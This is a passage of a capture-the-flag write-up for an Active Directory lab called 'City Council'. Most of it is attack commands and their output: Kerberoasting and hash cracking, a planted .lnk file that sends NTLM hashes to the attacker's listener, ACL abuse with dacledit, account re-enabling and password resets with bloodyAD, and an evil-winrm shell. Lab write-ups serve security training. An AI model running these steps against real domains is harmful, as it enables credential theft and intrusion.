10.0.17763<br>|_  System_Time: 2026-04-07T16:21:30+00:00<br>|_ssl-date: 2026-04-07T16:21:41+00:00; 0s from scanner time.<br>5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>9389/tcp  open  mc-nmf        syn-ack .NET Message Framing<br>47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>49664/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49665/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49666/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49668/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49669/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>49670/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49671/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49676/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49677/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49680/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49698/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49709/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49716/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>Service Info: Host: DC-CC; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><p>After adding the corresponding entries to <em>/etc/hosts</em>, I started with the most interesting items I found, the shared drives (port 445) and the website (port 80).</p><p>Unfortunately, anonymous login didn’t reveal any shared drive, so I had to leave that for the moment.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $smbclient -L \\\\city.local<br><br>Password for [WORKGROUP\rootshellace]:<br>Anonymous login successful<br><br> Sharename       Type      Comment<br> ---------       ----      -------<br>Reconnecting with SMB1 for workgroup listing.<br>do_connect: Connection to city.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)<br>Unable to connect with SMB1 -- no workgroup available</pre><p>Since I didn’t get anything useful, I started browsing the website, looking for possible attack paths. An initial scan with <em>gobuster</em> revealed a sub-directory named uploads. This was useful in a later step.</p><pre>Starting gobuster in directory enumeration mode<br>===============================================================<br>/index.html           (Status: 200) [Size: 24118]<br>/uploads              (Status: 301) [Size: 149] [--&gt; http://city.local/uploads/]<br>Progress: 4614 / 4615 (99.98%)</pre><p>The website didn’t look very interesting until I got to a page where you could download an application, for both Linux and Windows, to submit various form requests. The executables were available here: http://city.local/documents-forms.html.</p><p>I ran strings on both files, in an attempt to find possible hard-coded elements. I found a token and something looking like a hash, but couldn’t do anything with them.</p><p>The next step I took was to simulate submitting a dummy request from the app and see what happens. Now, here is where I found the first handy item. The application had a logging screen and the name of a used service account was displayed.</p><pre>[20:12:06] Application form loaded. Please complete all required fields.<br>[20:12:06] Service: Public Works Service Request<br>[20:12:06] System ready for form validation and processing.<br>[20:12:59] Validating application form...<br>[20:12:59] Connecting to City Council Directory Services...<br>[20:12:59] Using dedicated service account: svc_services_portal<br>[20:13:01] Performing LDAP bind request - Portal Service Authentication...<br>[20:13:02] Performing Search: citizen records database...<br>[20:13:03] Performing Validate: application eligibility criteria...<br>[20:13:04] Performing Update: service request tracking system...<br>[20:13:05] Performing Log: public services audit trail...<br>[20:13:05] Performing Verify: resident information consistency...<br>[20:13:06] Performing Process: automated workflow routing...<br>[20:13:07] Performing Update: municipal service database...<br>[20:13:07] Authenticating service account with DC-CC.city.local...<br>[20:13:07] ✓ Directory service authentication completed<br>[20:13:07] ✓ Application validated successfully<br>[20:13:07] ✓ Service request processed and logged<br>[20:13:07] ✓ Workflow routing completed<br>[20:13:07] ✓ Database update successful</pre><p>I tested svc_services_portal user with an empty password. The test failed, but it confirmed I got a valid user.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u svc_services_portal -p ''<br><br>SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124    445    DC-CC            [-] city.local\svc_services_portal: STATUS_LOGON_FAILURE </pre><p><strong><em>● Obtaining the password for the service account</em></strong></p><p>I initially tried to use as a password the token I found using strings, but it didn’t work. So, how do we get the password?</p><p>Since the authentication was done automatically when executing the app locally, I intercepted the traffic using Wireshark, then followed the corresponding stream and got the password for the service account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6MNjuO144ltU9jXl_7xDHw.png"><figcaption>Password for service account</figcaption></figure><p>I tested the credential pair and got the confirmation that they are valid.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u svc_services_portal -p &lt;REDACTED&gt;<br>SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124    445    DC-CC            [+] city.local\svc_services_portal:&lt;REDACTED&gt; </pre><p><strong><em>● Get the Active Directory structure using BloodHound</em></strong></p><p>Having a valid pair of credentials, I used it to get an idea of how Active Directory was structured for that entity.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $bloodhound-python -u svc_services_portal -p &lt;REDACTED&gt; -ns 10.1.65.124 -d city.local -c All</pre><p>Once I obtained the archive containing the <em>.json</em> files, I imported it in <em>BloodHound</em>. I checked if svc_services_portal had any interesting permissions or was part of any useful groups, but nothing came up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*2EfWKtUdVHy_G0OzCXYw2w.png"><figcaption>BloodHound info on svc_services_portal</figcaption></figure><p>This account looked like a dead end, so I moved on checking if there were any Kerberoastable users. I found clerk.john.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*WapDTB7h6wV3KZYzrldu9Q.png"><figcaption>Kerberoastable users</figcaption></figure><p><strong><em>● Get access as </em></strong><strong><em>clerk.john</em></strong></p><p>The first step was to get the Kerberos hash for this user. I used <em>GetUserSPNs</em> script from <em>impacket.</em></p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $impacket-GetUserSPNs city.local/svc_services_portal:&lt;REDACTED&gt; -dc-ip 10.1.65.124 -request</pre><p>Once I got it, I passed it to <em>john</em> to crack it.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt john_clerk_hash_krb.txt <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])<br>Will run 4 OpenMP threads<br>Press 'q' or Ctrl-C to abort, almost any other key for status<br>&lt;REDACTED&gt;        (?)     <br>1g 0:00:00:02 DONE (2026-04-07 21:37) 0.3816g/s 729306p/s 729306c/s 729306C/s clouds96..clenol<br>Use the "--show" option to display all of the cracked passwords reliably<br>Session completed. </pre><p>To make sure the password was OK, I tested the credentials.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u clerk.john -p &lt;REDACTED&gt;<br>SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124    445    DC-CC            [+] city.local\clerk.john:&lt;REDACTED&gt; </pre><p>I went back to <em>BloodHound</em> to verify this new user, but it didn’t have any useful access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*HSbgpYh3N5f920xjcX15Ig.png"><figcaption>BloodHound info on clerk.john</figcaption></figure><p><strong><em>● Get access as </em></strong><strong><em>jon.peters</em></strong></p><p>Because BloodHound didn’t reveal any lead, I went back to the shared drives and enumerated again, this time as clerk.john.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $smbclient -L \\city.local -U clerk.john<br>Password for [WORKGROUP\clerk.john]:<br><br> Sharename       Type      Comment<br> ---------       ----      -------<br> ADMIN$          Disk      Remote Admin<br> Backups         Disk      <br> C$              Disk      Default share<br> IPC$            IPC       Remote IPC<br> NETLOGON        Disk      Logon server share <br> SYSVOL          Disk      Logon server share <br> Uploads         Disk      <br>Reconnecting with SMB1 for workgroup listing.<br>do_connect: Connection to city.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)<br>Unable to connect with SMB1 -- no workgroup available</pre><p>Well, better than anonymous login, at least I had something to work with. On Backups drive I got a <em>Permission Denied</em> error when attempting to connect, but I was able to map the Uploads directory. Inside, among other files, I found an email from <em>Emma Hayes</em>. It was mentioned that write access was granted to <em>Jon Peters</em> on this drive and NTLM authentication was used.</p><p>The next step was to start a listener, with <em>responder</em>, on the VPN interface I was using for the challenge.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $sudo responder -I tun0</pre><p>Then, I created a fake <em>.lnk</em> file, using ntlm_theft.py - available <a href="https://github.com/Greenwolf/ntlm_theft"><em>here</em></a></p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $python3 ~/Tools/ntlm_theft/ntlm_theft.py -g lnk -s &lt;MY_VPN_IP&gt; -f fake_note</pre><p>Finally, I deployed it on the Uploads shared drive. After a couple of seconds, in the terminal where the listener was launched, I got the NTLMv2 hash for jon.peters.</p><pre>[SMB] NTLMv2-SSP Client   : 10.1.65.124<br>[SMB] NTLMv2-SSP Username : CITY\jon.peters<br>[SMB] NTLMv2-SSP Hash     : &lt;REDACTED&gt;</pre><p>I went back to <em>john</em>, to crack this new hash and obtain the corresponding password.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $john jon_peters_ntlm_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])<br>Will run 4 OpenMP threads<br>Press 'q' or Ctrl-C to abort, almost any other key for status<br>&lt;REDACTED&gt;   (jon.peters)     <br>1g 0:00:00:10 DONE (2026-06-26 15:28) 0.09451g/s 1260Kp/s 1260Kc/s 1260KC/s 1234ถ6789..1234dork<br>Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably<br>Session completed. </pre><p>Again, I wanted to verify if the login was OK.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u jon.peters -p &lt;REDACTED&gt;<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\jon.peters:&lt;REDACTED&gt; </pre><p>I got the confirmation that everything was fine with the access for this user.</p><p><strong><em>● Lateral movement to </em></strong><strong><em>nina.soto</em></strong></p><p>Since I obtained a new set of credentials, I returned to <em>BloodHound</em> to see what I could find. Still no useful group membership, but jon.peters had GenericWrite access on 3 different users: maria.clerk, paul.roberts and nina.soto .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Euh5T9ZLRXIRxmgWwReAQA.png"><figcaption>BloodHound info on Jon Peters</figcaption></figure><p>I used targetedKerberoast.py tool (available <a href="https://github.com/ShutdownRepo/targetedKerberoast"><em>here</em></a>) to obtain the Kerberos hash for these 3 users.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $~/Tools/targetedKerberoast/targetedKerberoast.py -v -d 'city.local' -u 'jon.peters' -p '&lt;REDACTED&gt;' --dc-ip 10.1.65.124</pre><p>Then, passed all 3 hashes to <em>john</em>, for cracking.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $john --format=krb5tgs three_hash_krb.txt --wordlist=/usr/share/wordlists/rockyou.txt<br>Using default input encoding: UTF-8<br>Loaded 3 password hashes with 3 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])<br>Will run 4 OpenMP threads<br>Press 'q' or Ctrl-C to abort, almost any other key for status<br>&lt;MARIA_PWD_REDACTED&gt;    (?)     <br>&lt;NINA_PWD_REDACTED&gt;     (?)     <br>2g 0:00:00:20 DONE (2026-06-26 15:58) 0.09652g/s 692266p/s 1614Kc/s 1614KC/s !!12Honey..*7¡Vamos!<br>Use the "--show" option to display all of the cracked passwords reliably<br>Session completed. </pre><p>I was able to get the passwords only for 2 of the 3 users. However, it was something I could work with. But I had to test them before, to confirm they were OK, and the confirmation came.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u maria.clerk -p &lt;REDACTED&gt;<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\maria.clerk:&lt;REDACTED&gt; <br>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u nina.soto -p &lt;REDACTED&gt;<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\nina.soto:&lt;REDACTED&gt; </pre><p><strong><em>● Pivoting from </em></strong><strong><em>emma.hayes to </em></strong><strong><em>sam.brooks and getting the user flag</em></strong></p><p>I reexamined the shared drive permissions, this time with the 2 new found accounts. Although maria.clerk didn’t have anything interesting, for nina.soto , I noticed there was <em>read access</em> on Backups.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $smbmap -u nina.soto -p &lt;REDACTED&gt; -H city.local<br><br>    ________  ___      ___  _______   ___      ___       __         _______<br>   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\<br>  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)<br>   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/<br>    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /<br>   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \<br>  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)<br>-----------------------------------------------------------------------------<br>SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com<br>                     https://github.com/ShawnDEvans/smbmap<br><br>[*] Detected 1 hosts serving SMB                                                                                                  <br>[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          <br>                                                                                                                             <br>[+] IP: 10.1.65.124:445 Name: city.local           Status: Authenticated<br> Disk                                                   Permissions Comment<br> ----                                                   ----------- -------<br> ADMIN$                                             NO ACCESS Remote Admin<br> Backups                                            READ ONLY <br> C$                                                 NO ACCESS Default share<br> IPC$                                               READ ONLY Remote IPC<br> NETLOGON                                           READ ONLY Logon server share <br> SYSVOL                                             READ ONLY Logon server share <br> Uploads                                            NO ACCESS <br>[*] Closed 1 connections                                                                                </pre><p>I connected to that shared drive and found some backup profiles for clerk.john and sam.brooks. I downloaded them on my local machine. Initially, the download of the file for clerk.john was failing due to a timeout error, but I managed to fix this by adding -m SMB2 parameter to the initial <em>smbclient</em> command.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $smbclient \\\\city.local\\Backups -U nina.soto<br>Password for [WORKGROUP\nina.soto]:<br>Try "help" to get a list of possible commands.<br>smb: \&gt; dir<br>  .                                   D        0  Thu Oct 30 18:55:14 2025<br>  ..                                  D        0  Thu Oct 30 18:55:14 2025<br>  Documents Backup                   Dn        0  Thu Oct 30 18:55:14 2025<br>  UserProfileBackups                 Dn        0  Thu Oct 30 20:55:27 2025<br><br>  12966143 blocks of size 4096. 8391255 blocks available<br>smb: \&gt; cd UserProfileBackups<br>smb: \UserProfileBackups\&gt; dir<br>  .                                  Dn        0  Thu Oct 30 20:55:27 2025<br>  ..                                 Dn        0  Thu Oct 30 20:55:27 2025<br>  clerk.john_ProfileBackup_0729.wim     An 69883158  Thu Oct 30 18:23:22 2025<br>  sam.brooks_ProfileBackup_0728.wim      A   130326  Thu Oct 30 20:55:12 2025<br><br>  12966143 blocks of size 4096. 8391254 blocks available<br>smb: \UserProfileBackups\&gt; get sam.brooks_ProfileBackup_0728.wim<br>getting file \UserProfileBackups\sam.brooks_ProfileBackup_0728.wim of size 130326 as sam.brooks_ProfileBackup_0728.wim (90,4 KiloBytes/sec) (average 90,4 KiloBytes/sec)<br>smb: \UserProfileBackups\&gt; get clerk.john_ProfileBackup_0729.wim<br>parallel_read returned NT_STATUS_IO_TIMEOUT<br>smb: \UserProfileBackups\&gt; getting file \UserProfileBackups\clerk.john_ProfileBackup_0729.wim of size 69883158 as clerk.john_ProfileBackup_0729.wim SMBecho failed (NT_STATUS_CONNECTION_DISCONNECTED). The connection is disconnected now</pre><p>To see what was available on those 2 profiles, I installed wimtools. You could either extract them locally, or map them. I chose to extract them, then navigated through the available content.</p><p>Inside the profile of sam.brooks, I found an email mentioning web_admin account, which was moved to Quarantine OU due to some security concerns. Also, another mention was made related to the web server, which had ASP.NET enabled and file uploads of <em>.aspx</em> pages were possible. This helped me later.</p><p>For clerk.john, I found another email from Emma Hayes, where she mentioned she would share her credentials to be used for urgent tasks while she was on vacation. Those were stored in <em>Credential Manager</em>. I found some corresponding key files, but also the <em>PowerShell History</em> file for the console log. After examining it, I got the plaintext credentials of emma.hayes.</p><pre>cmdkey /add:city-dc /user:city.local\emma.hayes /pass:&lt;REDACTED&gt;<br>cmdkey /add:DC-CC.city.local /user:emma.hayes /pass:&lt;REDACTED&gt;</pre><p>Of course, I tested the connection with the new pair and got the confirmation that it was all good.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u emma.hayes -p &lt;REDACTED&gt;<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\emma.hayes:&lt;REDACTED&gt; </pre><p>Back to <em>BloodHound</em>, looking for useful access on Emma. Over there, I found out she had WriteDacl rights on CityOps OU and 3 other users: sam.brooks , alex.king and rita.cho . I used that permission to grant FullControl for her on CityOps , using dacledit.py .</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $sudo ./dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'emma.hayes' -target-dn 'OU=CITYOPS,DC=CITY,DC=LOCAL' 'city.local'/'emma.hayes':&lt;REDACTED&gt;</pre><p>Then, I looked over all those 3 users under CityOps OU and their permissions. The one that proved to be the most useful was sam.brooks , because it was part of Remote Management Users. First, I had to enable it, since it was disabled.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $bloodyAD --host 10.1.65.124 -d 'city.local' -u 'emma.hayes' -p &lt;REDACTED&gt; remove uac 'sam.brooks' -f ACCOUNTDISABLE<br>[+] ['ACCOUNTDISABLE'] property flags removed from sam.brooks's userAccountControl</pre><p>Next, I reset the password for this account, using the same tool as previously, bloodyAD.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $bloodyAD -u 'emma.hayes' -p &lt;REDACTED&gt; -d 'city.local' --host 10.1.65.124 set password 'sam.brooks' 'Password123'<br>[+] Password changed successfully!</pre><p>Finally, I tested it and made sure the credentials were valid.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u sam.brooks -p Password123<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\sam.brooks:Password123 </pre><p>Since this user was a member of Remote Management Users, I connected to the machine using evil-winrm and got the user flag located on <em>Desktop</em>.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $evil-winrm -i 10.1.65.124 -u sam.brooks -p Password123<br>                                        <br>Evil-WinRM shell v3.5<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\sam.brooks\Documents&gt; whoami<br>city\sam.brooks<br>*Evil-WinRM* PS C:\Users\sam.brooks\Documents&gt; dir<br>*Evil-WinRM* PS C:\Users\sam.brooks\Documents&gt; cd ..\Desktop<br>*Evil-WinRM* PS C:\Users\sam.brooks\Desktop&gt; dir<br><br><br>    Directory: C:\Users\sam.brooks\Desktop<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-a----       10/24/2025  11:57 AM           1594 user.txt<br><br><br>*Evil-WinRM* PS C:\Users\sam.brooks\Desktop&gt; type user.txt<br><br>&lt;REDACTED_FLAG&gt;<br><br><br>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡰⠚⠉⠀⠀⠉⠑⢦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠞⠀⠀⠀⠀⠀⠀⠀⠀⠱⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⢀⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⡜⠀⠀⠀⠀⠀⣀⣀⠀⠀⠀⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⣠⠔⠋⠉⣩⣍⠉⠙⠢⣄⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⢧⡜⢏⠓⠒⠚⠁⠈⠑⠒⠚⣹⢳⡸⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⠘⣆⠸⡄⠀⠀⠀⠀⠀⠀⢠⠇⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⢀⡴⠚⠉⢣⡙⢦⡀⠀⠀⢀⡰⢋⡜⠉⠓⠦⣀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⡴⠁⢀⣀⣀⣀⣙⣦⣉⣉⣋⣉⣴⣋⣀⣀⣀⡀⠈⢧⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⡸⠁⠀⢸⠀⠀⠀⠀⢀⣔⡛⠛⡲⡀⠀⠀⠀⠀⡇⠀⠈⢇⠀⠀⠀⠀<br>⠀⠀⠀⢠⠇⠀⠀⠸⡀⠀⠀⠀⠸⣼⠽⠯⢧⠇⠀⠀⠀⠀⡇⠀⠀⠘⡆⠀⠀⠀<br>⠀⠀⠀⣸⠀⠀⠀⠀⡇⠀⠀⠀⠳⢼⡦⢴⡯⠞⠀⠀⠀⢰⠀⠀⠀⠀⢧⠀⠀⠀<br>⠀⠀⠀⢻⠀⠀⠀⠀⡇⠀⠀⠀⢀⡤⠚⠛⢦⣀⠀⠀⠀⢸⠀⠀⠀⠀⡼⠀⠀⠀<br>⠀⠀⠀⠈⠳⠤⠤⣖⣓⣒⣒⣒⣓⣒⣒⣒⣒⣚⣒⣒⣒⣚⣲⠤⠤⠖⠁⠀⠀⠀<br>⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀<br>⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿<br>*Evil-WinRM* PS C:\Users\sam.brooks\Desktop&gt;</pre><p><strong><em>● Move </em></strong><strong><em>web_admin from </em></strong><strong><em>Quarantine to </em></strong><strong><em>CityOps and reset the password to get access to it</em></strong></p><p>I remembered about the <em>.aspx</em> files for the web server. However, being connected as user sam.brooks didn’t allow me to upload the required file. I verified the permissions and concluded I needed access as web_admin.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ACL -Path .\test.aspx | Format-Table -Wrap<br><br><br>    Directory: C:\inetpub\wwwroot\uploads<br><br><br>Path      Owner                  Access<br>----      -----                  ------<br>test.aspx BUILTIN\Administrators BUILTIN\IIS_IUSRS Allow  ReadAndExecute, Synchronize<br>                                 CITY\web_admin Allow  Modify, Synchronize<br>                                 NT SERVICE\TrustedInstaller Allow  FullControl<br>                                 NT AUTHORITY\SYSTEM Allow  FullControl<br>                                 BUILTIN\Administrators Allow  FullControl<br>                                 BUILTIN\Users Allow  ReadAndExecute, Synchronize<br><br><br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ACL -Path . | Format-Table -Wrap<br><br><br>    Directory: C:\inetpub\wwwroot<br><br><br>Path    Owner                  Access<br>----    -----                  ------<br>uploads BUILTIN\Administrators BUILTIN\IIS_IUSRS Allow  ReadAndExecute, Synchronize<br>                               BUILTIN\IIS_IUSRS Allow  ReadAndExecute, Synchronize<br>                               CITY\web_admin Allow  Modify, Synchronize<br>                               BUILTIN\IIS_IUSRS Allow  -1610612736<br>                               NT SERVICE\TrustedInstaller Allow  FullControl<br>                               NT SERVICE\TrustedInstaller Allow  268435456<br>                               NT AUTHORITY\SYSTEM Allow  FullControl<br>                               NT AUTHORITY\SYSTEM Allow  268435456<br>                               BUILTIN\Administrators Allow  FullControl<br>                               BUILTIN\Administrators Allow  268435456<br>                               BUILTIN\Users Allow  ReadAndExecute, Synchronize<br>                               BUILTIN\Users Allow  -1610612736<br>                               CREATOR OWNER Allow  268435456</pre><p>I tried to get the Kerberos hash, but, unfortunately, couldn’t crack it. So I returned to what I saw in <em>BloodHound</em> for emma.hayes and started to investigate the permissions on those OUs.</p><p>First, I got the <em>DistinguishedName</em> property for the OUs.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ADOrganizationalUnit -Filter 'Name -eq "CITYOPS"' | Select Name, DistinguishedName<br><br>Name    DistinguishedName<br>----    -----------------<br>CityOps OU=CityOps,DC=city,DC=local<br><br><br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ADOrganizationalUnit -Filter 'Name -eq "QUARANTINE"' | Select Name, DistinguishedName<br><br>Name       DistinguishedName<br>----       -----------------<br>Quarantine OU=Quarantine,DC=city,DC=local</pre><p>Then, I verified the access Emma had on those.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; (Get-Acl -Path "AD:\OU=Quarantine,DC=city,DC=local").Access | Where-Object 'IdentityReference' -like '*emma*' | Select ActiveDirectoryRights, InheritanceType, AccessControlType, IdentityReference, IsInherited | Format-Table -Wrap<br><br>                      ActiveDirectoryRights InheritanceType AccessControlType IdentityReference IsInherited<br>                      --------------------- --------------- ----------------- ----------------- -----------<br>ReadProperty, WriteProperty, GenericExecute             All             Allow CITY\emma.hayes         False<br>                   CreateChild, DeleteChild     Descendents             Allow CITY\emma.hayes         False<br>                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes         False<br>                   CreateChild, DeleteChild     Descendents             Allow CITY\emma.hayes         False<br><br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; (Get-Acl -Path "AD:\OU=CityOps,DC=city,DC=local").Access | Where-Object 'IdentityReference' -like '*emma*' | Select ActiveDirectoryRights, InheritanceType, AccessControlType, IdentityReference, IsInherited | Format-Table -Wrap <br><br>ActiveDirectoryRights InheritanceType AccessControlType IdentityReference IsInherited<br>--------------------- --------------- ----------------- ----------------- -----------<br>           GenericAll             All             Allow CITY\emma.hayes         False<br>            WriteDacl             All             Allow CITY\emma.hayes         